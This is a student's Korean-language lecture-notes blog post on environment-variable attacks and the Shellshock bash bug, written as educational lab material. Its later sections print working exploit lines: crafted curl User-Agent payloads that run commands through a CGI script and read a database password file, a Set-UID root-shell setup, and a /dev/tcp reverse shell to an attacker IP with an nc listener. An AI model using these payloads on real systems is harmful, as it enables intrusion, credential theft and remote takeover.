본문 바로가기

24년 1학기 학교공부/네트워크웹보안

[NW] ShellShock

목차

    728x90
    반응형
    SMALL
    2024학년도 1학기 충남대학교 장진수 교수님의 네트워크 및 웹 보안 수업 정리자료입니다.

     

     

     

     

    Environment Variables(환경변수)

    환경변수란 동적으로 명명된 값들의 집합으로, 프로세스가 실행되는 운영 환경의 일부이다. 실행중인 프로세스의 동작 방식에 영향을 미친다. Unix에서 도입되어 Microsoft Windows에서도 채택되었다.

     

    예시로 PATH 변수가 있다. 프로그램이 실행될 때 전체 경로가 제공되지 않는 경우, 쉘 프로세스는 PATH 환경변수를 사용해 프로그램의 위치를 찾는다.

     

     

    환경변수 접근 방법

     

     

     

    프로세스가 환경변수를 얻는 방법

    1. fork() 시스템 콜

    fork()란 새 자식 프로세스를 생성하는 함수로, 이때 자식 프로세스가 부모 프로세스로부터 환경 변수를 상속받을 수 있다.

     

    2. execve() 시스템 콜

    execve()란 기존에 프로세스가 사용하던 메모리 공간을 정리하고 새 프로세스가 해당 공간을 재사용하여 실행하는 함수이다. 이때 기존에 존재하던 환경변수들은 모두 사라지지만, 함수를 호출할 때 세 번째 인자로 환경변수를 전달할 수 있다.

    int execve(const char *filename, char *const argv[], char *const envp[]);

     

    위 코드는 현재 프로세스의 환경변수를 출력해주는 /usr/bin/env 라는 새 프로그램을 실행하고 있다. 

     

    첫번째 execve : 환경변수로 아무것도 넘겨주지 않는다.

    두번째 execve : newenv 리스트에 새 환경 변수들을 정의해 저장하고, 자식 프로세스로 넘겨준다.

    세번째 execve : 기존의 환경변수를 넘겨준다. 즉, 부모 프로세스의 환경변수를 새로 생성되는 자식프로세스에게 넘겨준다.

    결과는 위와 같다.

     

     

     

     

    메모리에서 환경변수의 위치

    환경변수는 envp 혹은 environ라는 포인터로 접근할 수 있다.

    • envp : main 함수 내에서만 인자로서 접근 가능한 지역변수
    • environ : 전역변수

     

    기에 둘은 같은 위치를 가리키고 있다. 만약 환경변수가 하나 추가되거나 하는 등의 변화가 생기면, 환경변수를 저장하는 위치가 heap 쪽으로 움직여 environ가 변화한다. 단 이때 envp는 main함수로 한 번 전달 된 이후, main 함수 내부에서 사용되는 동안은 변화하지 않는다. 즉 envp를 사용할 때 환경변수의 변화를 반영하지 못할 수도 있으므로, environ으로 접근하는 방법이 더 안정적이다.

     

     

     

     

    Shell 변수

    Shell에 의해 사용되는 내부 변수를 말한다. shell은 사용자가 shell 변수를 생성, 할당, 삭제할 수 있도록 내장 명령어를 제공한다. shell 변수와 환경변수가 같다고 착각하기 쉽지만, 매우 다르다.

     

    예를들어 FOO라는 이름의 shell 변수를 생성하는 경우를 보자.

    seed@ubuntu:~$ FOO=bar
    seed@ubuntu:~$ echo $FOO
    bar
    seed@ubuntu:~$ unset FOO
    seed@ubuntu:~$ echo $FOO
    
    seed@ubuntu:~$

     

     

    shell 프로그램은 시작할 때 본인의 shell 변수에 환경변수를 모두 복사해둔다. shell 변수에 변화가 생기더라도 환경 변수에 반영되지 않는다.

     

    부모 프로세스의 shell 변수 일부분과, 모든 환경변수들은 shell 변수를 통해 자식프로세스의 환경변수가 된다.

     

    env : 자식프로세스를 생성해 환경변수를 출력하는 명령어

    일반적으로 env 명령어를 실행하면 자식프로세스를 생성해 그 안에서 동작한다. 즉, env로 확인하는 환경변수들은 자식프로세스의 환경변수이다. 때문에, 자식프로세스를 생성하기 전 strings 명령어로 확인했던 부모 프로세스의 환경변수 LOGNAME과, export로 정의한 LOGNAME3은 자식프로세스로 전달되지만, export로 정의하지 않은 일반 변수 LOGNAME2는 환경변수가 아니므로 자식 프로세스로 전달되지 못했기 때문에 env로 확인할 수 없는 것이다.

     

     

    참고 : /proc 파일 시스템

    /proc은 리눅스의 가상 파일 시스템으로, 각 프로세스에 대해 프로세스 ID를 이름으로 갖는 디렉토리를 포함하고 있다.

    각 프로세스 디렉토리에는 프로세스의 환경을 담고있는 environ이라는 가상 파일이 있다.

     

    예를 들어 가상 파일 /proc/932/environ 은 932 프로세스의 환경변수를 갖고 있다.

    string /proc/$$/environ : 현재 프로세스의 환경변수를 출력하는 명령어. shell이 $$라는 문자를 본인 프로세스 ID로 치환해준다.

     

    env 프로그램이 bash shell에서 호출될 때 자식 프로세스 내에서 동작한다. 즉, 쉘의 자식 프로세스의 환경변수를 출력하는거지, 본인의 것이 아니다.

     

     

     

     

    환경변수를 이용한 공격

     

    숨겨진 환경 변수의 사용은 위험하다.

     

    사용자는 환경변수를 설정할 수 있기 때문에, 이들은 Set-UID 프로그램에 대한 공격 표면의 일부가 된다.

     

     

     

     

     

     

     

     

     

    via Dynamic Linker

    Linking은 프로그램에서 참조하는 외부 라이브러리 코드를 찾아 연결하는 과정으로, 런타임이나 컴파일 타임 동안 수행될 수 있다.

     

    1. Static Linking

    • Linker가 프로그램 코드와 printf() 함수를 포함하는 라이브러리 코드를 결합한다.
    • 동적으로 컴파일된 프로그램보다 정적 프로그램이 약 100배 크다.
    /* hello.c */
    # include <stdio.h>
    int main() {
        printf("hello world!");
        return 0;
    }
    seed@ubuntu:$ gcc -o hello_dynamic hello.c
    seed@ubuntu:$ gcc -static -o hello_static hello.c
    seed@ubuntu:$ ls -l
    -rw-rw-r-- 1 seed seed     68 Dec 31 13:30 hello.c
    -rwxrwxr-x 1 seed seed   7162 Dec 31 13:30 hello_dynamic
    -rwxrwxr-x 1 seed seed 751294 Dec 31 13:30 hello_static

     

     

     

    Dynamic Linking

    • 환경변수를 사용하며, 이는 attack surface가 된다.
    • Linking이 런타임동안 이뤄지며, 공유 라이브러리(DDL in windows)가 사용된다.
    • 동적 linking으로 컴파일된 프로그램이 동작하기 전에, 실행파일이 먼저 메모리에 로드된다.

     

    ldd : 프로그램이 의존하고있는 공유 라이브러리 목록을 확인할 수 있는 명령어.
    $ ldd hello_static
      not a dynamic executable
    $ ldd hello_dynamic
      linux-gate.so.1 => (0xb774b000)
      libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb758e000)
      /lib/ld-linux.so.2 (0xb774c000)
    • 1 : 시스템 콜에 의함.
    • 2 : libc 라이브러리는 printf(), sleep() 등과 같은 함수들을 포함하고 있다.
    • 3 : dynamic linker 자체가 공유 라이브러리에 들어있다. 이는 메인함수가 호출되기 이전에 호출된다. 

     

     

    Dynamic Linker의 위험성

    프로그램 코드 일부가 컴파일 시점에 결정되지 않고 런타임에 결정되기 때문에, Dynamic Linking은 메모리를 절약한다. 사용자가 이러한 일부 코드에 영향을 줄 수 있다면, 프로그램의 무결성을 손상시킬 수 있다.

     

     

    Case Study 1

    LD_PRELOAD는 링커가 가장 먼저 검색할 공유 라이브러리들의 목록을 담고있다. 만약 모든 함수를 찾지 못하면, 링커는 LD_LIBRARY_PATH로 지정된 폴더 목록 중 하나를 포함한 여러 폴더 목록들 사이에서 검색을 진행한다.

    사용자가 이러한 변수들을 설정할 수 있으므로, 링킹 과정의 결과를 제어할 기회를 제공하게 된다.

    만약 이 프로그램이 Set-UID 프로그램이라면, 이는 보안 문제를 야기할 수 있다.

     

    먼저 일반적인 프로그램의 경우를 생각해보자. 프로그램이 동적으로 링크된 sleep 함수를 호출하고자 한다.

    int main(int argc, char **argv)
    {
        if(argc > 1) {
            printf(gettext("Usage: %s filename "), argv[0]);
            exit(0);
        }
        printf("Normal execution proceeds...");
    }

    sleep 함수는 위와 같이 직접 구현하였고, mytest.c와 sleep.c를 컴파일하기 위해서는 이를 공유 라이브러리를 생성하고, LD_PRELOAD 환경변수에 이 공유 라이브러리를 추가한다.

     

    하지만 Set-UID 프로그램의 경우를 생각해보자. 

    이때는 똑같은 방법으로 LD_PRELOAD 환경변수에 공유라이브러리 추가를 하더라도, 동적 링커에 의한 countermeasure 때문에 sleep() 함수를 호출할 수 없다. 동적 링커는 EUID(프로그램 실행 시 갖는 권한. 실행 파일의 소유주 권한)와 RUID(실제 소유자 ID)가 다른 경우 환경변수를 무시한다.

     

    예를 들어 env라는 프로그램이 있고, 이를 myenv로 복사해서 Set-UID 프로그램으로 만들어보자.

    일반 프로그램인 env는 환경변수가 존재하지만, 이를 복사한 프로그램이더라도 Set-UID 프로그램이 되면 환경변수를 무시한다.

     

     

    Case Study 2

    OS X 10.10은 보안 영향을 완전히 분석하지 않고 새로운 환경 변수 DYLD_PRINT_TO_FILE을 도입했다.

    사용자가 dydl이라는 파일명을 제공할 수 있도록 허용한다.

    Set-UID 프로그램일 경우. 사용자는 보호된 파일에만 쓸 수 있다.

    파일 설명자가 닫히지 않음

    • 예를 들어, 사용자는 DYLD_PRINT_TO_FILE을 /etc/sudoers에 설정하고, Bob의 계정으로 전환한 후 echo 명령어를 사용하여 /etc/sudoers에 쓰기를 할 수 있습니다. 이는 파일 설명자가 닫히지 않는 취약점을 이용한 것입니다.

     

     

    via External Program

     

     

    Case Study 1

     

     

     

    via Library

    프로그램은 종조 외부 라이브러리로부터 함수를 가져와 사용한다. 만약 이 함수들이 환경변수를 사용한다면, 이 부분이 attack surface가 될 수 있다.

     

    UNIX에서

    메세지가 출력되는 모든 상황에서, 프로그램은 메세지 번역을 위한 라이브러리 함수를 사용한다.

    그 중 Unix는 libc 라이브러리의 gettext()와 catopen()를 사용한다. 

     

    via Application Code

     

    Countermeasures

     

     

     

     

    ShellShock 공격

    Shell 프로그램이란, OS 내의 command-line interpreter를 말한다.

    사용자와 OS 사이의 인터페이스를 제공한다.

    shell에는 여러가지 종류가 있다. : sh, bash, csh, zsh, windows powershell, 등.

    Bash shell은 리눅스OS에서 사용되는 가장 유명한 shell 프로그램이다.

     

     

    shellshock 취약점은 shell functions과 밀접한 관련이 있다.

    $ foo() { echo "Inside function"; }
    $ declare -f foo
    foo ()
    {
        echo "Inside function"
    }
    $ foo
    Inside function
    $ unset -f foo
    $ declare -f foo

     

     

    자식 프로세스에게 Shell Function을 전달하는 방법

    1. 부모 shell 안에 function을 정의하고, export 하면 자식프로세스가 가질 수 있다.

    $ foo() { echo "hello wolrd!"; }
    $ declare -f foo
    foo ()
    {
        echo "hello wolrd!"
    }
    $ foo
    hello wolrd!
    $ export -f foo
    $ bash
    (child):$ declare -f foo
    foo ()
        echo "hello wolrd!"
    }
    (child):$ foo
    hello wolrd!

     

    위 코드를 살펴보면, 부모 프로세스에서 정의한 foo() 함수가 export 이후 자식 프로세스에서 바로 확인 가능하다.

     

     

    2. 환경변수를 설정한다. 자식 bash 프로세스 내에서 함수를 묘사해준다.

    $ foo() { echo "hello wolrd!"; }
    $ echo $foo
    () { echo "hello world!"; }
    $ declare -f foo
    $ export foo
    $ bash_shellshock
    (child):$ echo $foo
    
    (child):$ declare -f foo
    foo ()
        echo "hello wolrd!"
    }
    (child):$ foo
    hello wolrd!

     

    이때 위 코드에서 실행된 bash_shellshock은 취약점이 존재하는 버전의 bash이다.

     

     

    두 접근 방법은 환경변수를 사용한다.

    첫번째 방법 : 부모 shell이 새 프로세스를 생성할 때, 각 export한 함수 정의를 환경변수로 전달한다.

    두번째 방법 : 자식프로세스가 bash를 실행하면, bash 프로그램은 환경변수를 다시 함수정의로 변환한다. 이는 부모 프로세스가 shell이어야하는건 아니다.

    자식 bash 프로세스에 함수 정의를 전달해야하는 어떤 프로세스든 환경변수를 간단히 사용할 수 있다.

     

     

     

    Shellshock(backdoor) 취약점

    bash가 환경 변수를 함수 정의로 변환할 때 발생하는 실수를 이용한다.

     

    부모 프로세스는 자식 shell 프로세스에게 환경변수를 통해 함수 정의를 전달할 수 있다.

    파싱 로직에서 생기는 버그때문에, bash는 변수 안에 들어있는 명령 중 몇가지가 실행될수도 있다.

    $ foo=' () { echo "hello world!"; }; echo "extra";'
    $ echo $foo
    () { echo "hello world"; }; echo "extra";
    $ export foo
    $ bash_shellshock
    extra
    seed@ubuntu(child):$ echo $foo
    
    seed@ubuntu(child):$ declare -f foo
    foo ()
    {
    	echo "hello world!"
    }

     

     

     

    Mistake in the Bash Source Code

    shellshock 버그는 bash source code 내의 variables.c 파일 안에서 시작한다.

    아래 코드 스니펫이 실수와 연관되어있다.

    1 : bash는 환경변수의 값이 "() {"로 시작하는지를 확인해서 exported function이 있는지를 확인한다. 이후 exported function을 찾으면, "="를 space로 바꾼다.

     

    2 : Bash는 parse_and_execute() 함수를 호출해서 함수 정의를 parse한다. 이 함수는 함수 정의뿐만 아니라 shell command도 parse할 수 있다.

     

    만약 문자열이 함수 정의이면, 그 함수는 parse만 되고 해당 문자열을 실행시키진 않을것이다.

    하지만, 문자열에 shell command가 포함되어있다면, 그 함수는 문자열을 실행시킬것이다. 

     

     

    Line A :    foo=() { echo "hello world"; }; echo "extra";

    Line B :    foo () { echo "hello world"; }; echo "extra";

    Line A의 경우, "() {"로 시작하기 때문에 이를 함수라고 식별하고, Line B와 같이 변환시킨다.

    우리는 이 스트링이 이제 두 개의 명령이 되었다는 걸 알 수 있다.

    parse_and_execute()는 명령을 실행할 것이다.

    그 결과, 공격자는 그들의 명령을 실행시킬 수 있고, 타겟 프로세스가 만약 서버 프로세스이거나 권한을 갖고 실행되는 프로세스라면, 보안 위반 사건이 일어날 수 있다.

     

     

     

    Exploiting the Shellshock Vulnerability

    shellshock 취약성을 악용하기 위해서는 두 가지 조건이 만족되어야 한다.

    • 타겟 프로세스가 bash를 실행해야한다.
    • 타겟 프로세스가 환경변수를 통해 신뢰하지 않는 사용자의 input값을 얻을 수 있어야한다.

     

     

     

    Shellshock Attack Example : Set-UID Programs

    Set-UID는 특정한 권한(주로 루트권한)으로 프로그램을 실행할 수 있게 해주는 유닉스 기반 시스템의 기능이다.

     

    Set-UID root 프로그램이 system() 함수를 이용해 /bin/ls 프로그램을 실행할 때, bash 프로세스가 실행된다.

    공격자에 의한 환경 세팅은 권한 없는 명령을 실행되게 할 수도 있다.

     

     

    Setting up the vulnerable program

    프로그램은 /bin/ls command를 실행하기 위해 system() 함수를 이용한다.

    이 프로그램은 Set-UID root program이다.

    시스템 함수는 원래 fork() 함수를 사용해 자식 프로세스를 생성하고, execl() 함수를 이용해 /bin/sh 프로그램을 실행한다.

    // /bin/sh program
    #include <stdio.h>
    void main() {
        setuid(geteuid());
        system("/bin/ls -l");
    }

     

    $ sudo ln -sf /bin/bash_shellshock /bin/sh
    void main() {
        setuid(geteuid());
        system("/bin/ls -l");
    }

    위 명령은 취약한 버전의 bash인 bash_shellshock를 /bin/sh에 덮어씌운다.

     

    $ gcc vul.c -o vul
    $ ./vul
    total 12
    -rwxrwxr-x 1 seed seed 7236 Mar 2 21:04 vul
    -rw-rw-r-- 1 seed seed   84 Mar 2 21:04 vul.c

    취약한 bash인 bash_shellshock가 system() 함수를 실행할 때, 정상적으로 실행된다.

     

    $ sudo chown root vul
    $ sudo chmod 4755 vul
    $ ./vul
    total 12
    -rwsr-xr-x 1 root seed 7236 Mar 2 21:04 vul
    -rw-rw-r-- 1 seed seed   84 Mar 2 21:04 vul.c
    $ export foo='() { echo "hello"; }; /bin/sh'

    하지만 환경변수를 위와 같이 조작해보자. 프로그램은 /bin/sh의 취약한 bash 프로그램 bash_shellshock를 호출하게 될 것이다.

    export 변수명=값

    shell에서 export 명령을 이용해 현재 쉘에서 사용 가능한 환경변수를 만들 수 있다.

     

    $ ./vul
    sh-4.2#

    공격자는 shellshock의 취약성을 이용해 루트쉘을 얻을 수 있다.

     

     

     

     

    Shellshock Attack Example : CGI Programs

    Common gateway interface(CGI)란 동적으로 웹 페이지를 생성하는 실행 프로그램을 웹 서버가 실행하고자 할 때 사용한다. 많은 CGI 프로그램이 shell scripts를 사용한다. 만약 bash가 사용된다면, 그들은 shellshock 공격의 대상이 될 수 있다.

     

    매우 간단한 CGI 프로그램인 test.cgi와 두개의 VM을 이용해 실험해보자.

    bash shell scirpt를 사용할 때 IP가 필요하다.

    공격자 IP : 10.0.2.70

    희생자 IP : 10.0.2.69

     

    #! /bin/bash_shellshock
    
    echo "Content-type: text/plain"
    echo
    echo
    echo "Hello World~"

     

    이후 희생자 서버의 /usr/lib/cgi-bin 디렉토리에 CGI 프로그램을 위치시키고, curl을 사용해 이를 실행하도록 만든다.

    $ curl http://10.0.2.69/cgi-bin/test.cgi
    
    Hello World~

     

    1. 사용자가 CGI url을 Apache 웹 서버에 전송할 때, Apache는 요청을 검사한다.
    2. 만약 그것이 CGI request인 경우, Apache는 fork()로 새 프로세스를 실행시키고, exec()로 CGI 프로그램을 실행할 것이다.
    3. 위에서 CGI program을 "#! /bin/bash"로 시작했기 때문에, exec()는 shell script를 동작시키는 /bin/bash를 실행시키게 된다.

     

    Apache가 새 자식 프로세스를 만들면, bash 프로그램을 위한 모든 환경 변수를 제공한다.

     

    이때 curl 명령어에서 "-A" 옵션을 사용하면 user-agent 필드를 원하는 값으로 바꿀 수 있다.

    $ curl -A "test" -v http://10.0.2.69/cgi-bin/test.cgi
      HTTP Request
    > GET /cgi-bin/test.cgi HTTP/1.1
    > User-Agent: test
    > Host: 10.0.2.69
    > Accept: */*
    >
      HTTP Response (some parts are omitted)
    ** Environment Variables ***
    HTTP_USER_AGENT=test
    HTTP_HOST=10.0.2.69
    HTTP_ACCEPT=*/*
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:...

     

     

     

    Launching the Shellshock Attack

    $ curl -A "() { echo hello; };
               echo Content_type: text/plain; echo; /bin/ls -l"
               http://10.0.2.69/cgi-bin/test.cgi
    total 4
    -rwxr-xr-x 1 root root 123 Nov 21 17:15 test.cgi

     

    기본적으로 웹 서버는 우분투에서 www-data 유저 ID로 실행된다. 이 권한을 사용해서 서버를 완전히 장악할 순 없지만, 몇가지 데미지는 줄 수 있다.

     

     

    Shellshock Attack: 1. Steal Passwords

    웹 어플리케이션이 백엔드의 데이터베이스와 연결할때는 로그인을 위한 비밀번호가 필요하다. 이 비밀번호들은 보통 프로그램 내에 하드코딩 되어있거나, configuration 파일에 저장되어있다.

     

    /var/www/CSRF/Elgg/elgg-config/setting.php

    우분투 VM에서 웹 서버를 열어 여러개의 웹 어플리케이션을 호스팅해보자. 이 중 대부분은 데이터베이스를 사용한다. 예를 들어 위 파일로부터 비밀번호를 얻어와보자.

    $ curl -A "() { echo hello; }; echo Content_type: text/plain; echo;
               /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php"
               http://10.0.2.69/cgi-bin/test.cgi
    ... ...
    /**
     * The database password
     *
     * @global string $CONFIG->dbpass
     */
    $ CONFIG->dbpass = 'seedubuntu';
    ?>

     

     

     

    Shellshock Attack: 2. Create Reverse Shell

    공격자는 shellshock 취약점을 악용하여 shell 프로그램을 생성함으로써 서버 상에서 임의의 명령을 수행할 수 있다.

    /bin/ls를 실행하는 대신, /bin/bash를 실행시킬 수 있지만, /bin/bash는 상호작용이 필요하다.

    만약 공격자가 /bin/bash를 exploit 코드에 넣기만 한다면, bash는 서버측에서 실행될 것이므로 공격자가 제어할 수 없다. 이를 해결하기 위해 Reverse Shell을 사용해야한다.

    Reverse Shell의 핵심 아이디어는 표준 입력, 출력 및 에러 장리츨 네트워크 연결로 리다이렉션하는 것이다. 이러한 방식으로 shell은 연결을 통해 입력을 받고 연결을 통해 출력한다. 공격자는 이제 원하는 어떤 명령이든 실행할 수 있고, 그 출력을 자신의 기기에서 확인할 수 있다.

    Reverse Shell은 많은 공격에서 보이는 매우 흔한 해킹 기술이다.

     

    공격자는 자신의 기기(10.0.2.70)에서 netcat(nc) listener를 실행한다.

    reverse shell 명령이 들어있는 서버 기기에서 exploit한다.

    명령이 실행되고 나면, 서버(10.0.2.69)로부터 연결이 오는 것을 확인할 수 있다.

    ifconfig 명령으로 위 연결을 확인할 수 있다.

    이제 원하는 어떤 명령이든 서버 기기에서 실행 가능하다.

     

    Server(10.0.2.69):$ /bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1

    /bin/bash -i : "-i" 옵션을 사용하면 쉘을 대화형으로 사용할 수 있게 한다. 

    > /dev/tcp/10.0.2.70/9090 : TCP연결을 통해 shell의 표준출력(stdout) 장치를 10.0.2.70의 9090포트로 리다이렉션한다.

    0<&1 : 파일 디스크립터 0(표준입력, stdin)이 표준출력(stdout)장치를 대표하게 만든다. 시스템에 표준출력장치를 표준입력으로 사용하라고 지시하며, 표준 출력이 이미 TCP 연결로 리다이렉션된 상태이기 때문에 shell 프로그램이 입력을 동일한 TCP 연결로부터 받을 것임을 나타낸다.

    2>&1 : 파일 디스크립터 2(표준에러, stderr)가 표준에러출력을 표춘출력(stdout)으로 리다이렉션한다. 에러 출력을 TCP 연결로 리다이렉션 하는 것을 의미한다.

     

    이 공격을 통해 공격자는 원격 서버에서 shell에 명령을 보낼 수 있고, shell의 출력과 에러가 공격자의 컴퓨터로 리다이렉션되어 출력된다. 원격 시스템에서 마치 직접 콘솔을 사용하듯 명령을 실행할 수 있게 하며 공격자가 시스템을 제어할 수 있게 된다.

     

     

     

    CGI 공격으로 Reverse Shell 얻기

    $ curl -A "() { echo hello; }; echo Content_type: text/plain; echo;
               echo; /bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1"
               http://10.0.2.69/cgi-bin/test.cgi

     

    seed@Attacker(10.0.2.70)$ nc -lv 9090
    Listening on [0.0.0.0] (family 0, port 9090)
    Connection from [10.0.2.69] port 9090 [tcp/*] accepted ...
    bash: cannot set terminal process group (2106) : ...
    bash: no job control in this shell
    www-data@VM: /usr/lib/cgi-bin$
    www-data@VM: /usr/lib/cgi-bin$ id
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

     

    728x90
    반응형
    LIST